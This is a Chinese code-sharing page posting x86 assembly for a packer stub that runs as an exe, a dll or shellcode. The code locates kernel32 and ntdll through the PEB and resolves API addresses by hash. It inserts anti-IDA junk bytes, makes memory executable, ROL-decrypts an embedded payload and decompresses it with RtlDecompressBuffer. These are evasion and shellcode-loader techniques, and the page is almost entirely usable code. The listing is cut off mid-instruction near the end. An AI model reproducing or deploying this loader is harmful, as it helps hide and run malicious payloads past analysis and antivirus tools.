同时作为exe,dll,shellcode运行,自解密自解压

2022-06-29 16:52:43 浏览数 (2)

代码语言:javascript复制
//----------------------源码如下---------------------------------------------------------

;2012.08.28
;可同时作为exe,dll,shellcode等同时运行.
;自解密,自解压

.386
.model flat,stdcall
option casemap:none

.code
include windows.inc

;运行方式
XROLE_DLL_PROCESS_DETACH        equ	0
XROLE_DLL_PROCESS_ATTACH        equ	1
XROLE_DLL_THREAD_ATTACH         equ	2
XROLE_DLL_THREAD_DETACH         equ	3
XROLE_EXE                       equ	4
XROLE_SYS                       equ	5
XROLE_SHELLCODE                 equ	6
XROLE_RELOAD                    equ	7
	
;压缩类型
XCOMPRESS_FLAG                  equ	2

;API的 Hash
ROLHASH_RtlDecompressBuffer              equ 07B8h
ROLHASH_RtlGetCompressionWorkSpaceSize   equ 0A80h
ROLHASH_VirtualAlloc                     equ	0467h
ROLHASH_VirtualProtect                   equ 04B5h


;内部变量,在没有寄存器可用的时候使用
XINFO struct
	pOldCode 	DWORD,0
	pNewCode	DWORD,0
	dwRole		DWORD,0
	hSelfModule DWORD,0
XINFO ends

;
W2DW MACRO w1,w2
	EXITM <w2 SHL 16   w1>
endm
	
;入口点
EntryPoint PROC	
	_hNtdll                  equ [ebp - 04h]
	_hKernel32               equ [ebp - 08h]
	_dwRole                  equ [ebp - 0Ch]
	_pCurOEP                 equ [ebp - 14h]
	_pCurModule              equ [ebp - 18h]
	_bKey                    equ [ebp - 1Ch]
	
	_dwCodeLen                        equ [ebp - 20h]
	_dwCompressLen                    equ [ebp - 24h]
	_dwCompressBufferWorkSpaceSize    equ [ebp - 28h]
	_dwCompressFragmentWorkSpaceSize  equ [ebp - 2Ch]

	_dwProtect                        equ [ebp - 30h]
	
	_pVirtualAlloc                    equ [ebp - 40h]
	_pVirtualProtect                  equ [ebp - 44h]
	_pRtlDecompressBuffer             equ [ebp - 48h]
	_pRtlGetCompressionWorkSpaceSize  equ [ebp - 4Ch]

	push ebp
	mov ebp,esp

	push ebx
	push ecx
	push edx
	push esi
	push edi
	
	add esp,-100h
	
	;让eax指向ebp
	mov esi,esp
	add esi,114h
	mov esi,[esi]
	
	;dll和exe都是这里是OEP入口点
	push [esi   8h]		
	pop _pCurOEP
	
	;得到Rol解密的密钥
_Config_Before:
	call _StartCode
_Config:
	;----------------------------------------------------
	BYTE	1		;rol解码密钥
	WORD 	5h		;原始代码的长度
	WORD	5h		;压缩之后代码的长度
	;----------------------------------------------------

_StartCode:
	pop edx
	;int 3
	;add edx,_Config - _Config_Before				;跳过最开始的短跳
	movzx eax,BYTE PTR [edx]
	mov _bKey,eax
	

	
	;原始字节长度
	mov ax,WORD PTR [edx   1]
	mov _dwCodeLen,eax
	
	;压缩后的长度
	mov ax,WORD PTR [edx   3]
	mov _dwCompressLen,eax
	
	;判断执行类型
	;dll时,第一个参数 和父的[esi   0Ch]相等
	mov eax,[ebp   08h]
	test eax,eax
	je _RoleExe
	
	cmp eax,[esi   0Ch]		;父参数
	jne _RoleExe
	
_RoleDll:
	;当前角色
	push [ebp   0Ch]
	pop _dwRole
	
	xor edi,edi
	inc edi
	cmp _dwRole,edi
	je _RoleDllProcessAttach
	
	;如果不是XROLE_DLL_PROCESS_ATTACH,就直接返回1
_DirectRet:
	xor eax,eax
	inc eax
	add esp,100h
	pop edi
	pop esi
	pop edx
	pop ecx
	pop ebx
	pop ebp
	ret 0Ch
		
_RoleDllProcessAttach:
	;修正返回地址
	mov eax,[ebp   4]
	mov [ebp   0Ch],eax
	jmp _Work
	
_RoleExe:
	;角色
	push XROLE_EXE
	pop _dwRole
	
_Work:
	lea edi,_pRtlGetCompressionWorkSpaceSize
	push edi					;API的存储地址,从这里开始往高地址存放


	
	;搜索Kernel32
	xor eax,eax
	xor ecx,ecx
	mov al,18h
	assume fs:nothing
	mov esi,fs:[eax]
	mov esi,[esi 30h]	;esi = TEB
	mov esi,[esi 0Ch]	;esi = PEB
	mov esi,[esi 1Ch]	;esi = PEB_LDR_DATA
	push esi
_LdrLoop:
	mov edi,[esi 08h]	;edi= InInitOrder[X].base_address
	mov edx,[esi 20h]	;edx = InInitOrder[X].module_name
	mov esi,[esi]
	cmp [edx 18h],cl
	jne _LdrLoop
	pop esi
	
	mov esi,[esi 08h]
	mov _hNtdll,esi
	mov _hKernel32,edi
	
	pop edi				;取出edi ->API的存储位置
	
	;在栈上面构建Hash表	
_Stack_Begin:	;栈开始点
	push W2DW(ROLHASH_VirtualProtect,ROLHASH_VirtualAlloc)
	push W2DW(ROLHASH_RtlGetCompressionWorkSpaceSize,ROLHASH_RtlDecompressBuffer)
	
	mov esi,esp	;esi 指向 HashTable -> 原始esp - 4

	xor ecx,ecx		;得到0
_FindSomeApi:
	xor edx,edx
	push ebp	;保存ebp
	xor eax,eax
	lodsw
	push ecx
	
	cmp ecx,2
	je _FindKernel32Api
	jb _FindNtdllApi
	
	cmp ecx,4
	jb _FindKernel32Api

	add esp,10h	;还有8字节是pop ecx		pop ebp
	;反IDA
	xor eax,eax
	je _FindAllApiFinish		;所有的API都找到了
	db 0E7h,0E8h,0E9h
_FindNtdllApi:
	push eax
	mov ebp,_hNtdll
	jmp _FindApi
_FindKernel32Api:
	push eax
	mov ebp,_hKernel32
	jmp _FindApi
_FindApi:
	;ebp -> hModule,
	mov ebx,[ebp 3Ch]			;ebx =PE
	mov ebx,[ebp   ebx   78h]	;ebx = 输出表 RVA
	add ebx,ebp					;ebx = 输出表
	mov ecx,[ebx   20h]			;ecx= names table RVA
	add ecx,ebp					;ecx = names table
	push esi					;保存esi
_WalkNameTable:					;遍历导出表
	inc edx
	mov esi,[ecx   edx * 4]		;esi =API字符串
	add esi,ebp
_CalcHash:
	push ecx
	xor ecx,ecx
	xor eax,eax
_HashLoop:
	lodsb
	test al,al
	je _HashEnd
	rol cl,1
	add ecx,eax
	jmp _HashLoop
_HashEnd:
	mov eax,ecx
	pop ecx
	cmp eax,[esp 4]
	jne _WalkNameTable
_WalkNameFinish:
	pop esi			;恢复esi = Hash Table	
	pop eax			;修复堆栈
_FindApiFinish:
	mov ecx,[ebx   24h]				;ecx = ordinals table RVA
	add ecx,ebp						;ecx = ordinals table
	movzx edx,WORD PTR [ecx   2*edx];edx = ordinal number of function
	mov ecx,[ebx 1Ch]				;ecx = address table RVA
	add ecx,ebp						;ecx = address table
	mov eax,ebp
	add eax,[ecx   4*edx]			;eax = adi addr
	stosd							;保存API地址
	pop ecx							;取出ecx
	inc ecx		;API 1
	pop ebp
	jmp _FindSomeApi
_FindAllApiFinish:
	;OK.到这里的时候,所要用的API全部都找到了
	
	;申请xInfo内存
	xor ebx,ebx
	xor ecx,ecx
	mov bl,40h
	mov ch,10h
	
	push ecx			;保存edx和ecx
	push edx		
	
	push ebx			;40h
	push ecx			;1000h
	mov ax,sizeof XINFO
	push eax
	push edx			;0
	call DWORD PTR _pVirtualAlloc
	mov edi,eax			;edi = XINFO地址
	
	pop edx				;取出edx和ecx
	pop ecx

	assume edi:PTR XINFO

		;分配新的代码的内存
		xor eax,eax
		push ebx	;40h
		push ecx	;1000h
		mov ax,_dwCodeLen
		push eax
		push edx	;0
		call DWORD PTR _pVirtualAlloc
	
		mov [edi].pNewCode,eax		;解密之后的code的地址
		
		push _dwRole				;角色
		pop [edi].dwRole
		
		;Reload之前的模块基址
		push _pCurOEP
		pop eax
		sub eax,1000h
		mov [edi].hSelfModule,eax	
		
		;获取解密之前的地址
		call _GetCodeAddr
		mov esi,eax			;esi = code起始地址
		mov [edi].pOldCode,eax
		
		;修改负载为可读可写可执行
		lea eax,_dwProtect
		push eax
		push 40h
		push _dwCompressLen
		push [edi].pOldCode
		call DWORD PTR _pVirtualProtect
		
		;开始解密
		push edi

		;压缩之后的长度
		movzx edx,WORD PTR _dwCompressLen
		mov ecx,_bKey
		
		;目的地址,在原地解密
		mov edi,[edi].pOldCode
				
	_DecodeLoop:
		lodsb
		rol al,cl
		stosb
		dec edx
		test edx,edx
		jne _DecodeLoop
_DecodeFinish:	
		pop edi		;rol解密完毕,取出edi
		
		;恢复代码段页属性
		lea eax,_dwProtect
		push eax
		push _dwProtect
		push _dwCompressLen
		push [edi].pOldCode
		call DWORD PTR _pVirtualProtect
		
		
		;分配WorkSpace
		push _dwCodeLen
		pop _dwCompressBufferWorkSpaceSize
		
		push 0
		pop _dwCompressFragmentWorkSpaceSize
		
		lea eax,_dwCompressFragmentWorkSpaceSize
		push eax
		lea eax,_dwCompressBufferWorkSpaceSize
		push eax
		push XCOMPRESS_FLAG
		call DWORD PTR _pRtlGetCompressionWorkSpaceSize
		
		lea eax,_dwCompressFragmentWorkSpaceSize
		push eax
		push _dwCompressLen
		push [edi].pOldCode
		push _dwCodeLen
		push [edi].pNewCode
		push XCOMPRESS_FLAG
		call DWORD PTR _pRtlDecompressBuffer
				
	assume edi:nothing
	
	mov eax,edi
	assume eax:PTR XINFO
	
		;恢复所有使用过的寄存器
		add esp,100h
		pop edi
		pop esi
		pop edx
		pop ecx
		pop ebx

		pop ebp
		
		cmp [eax].dwRole

0 人点赞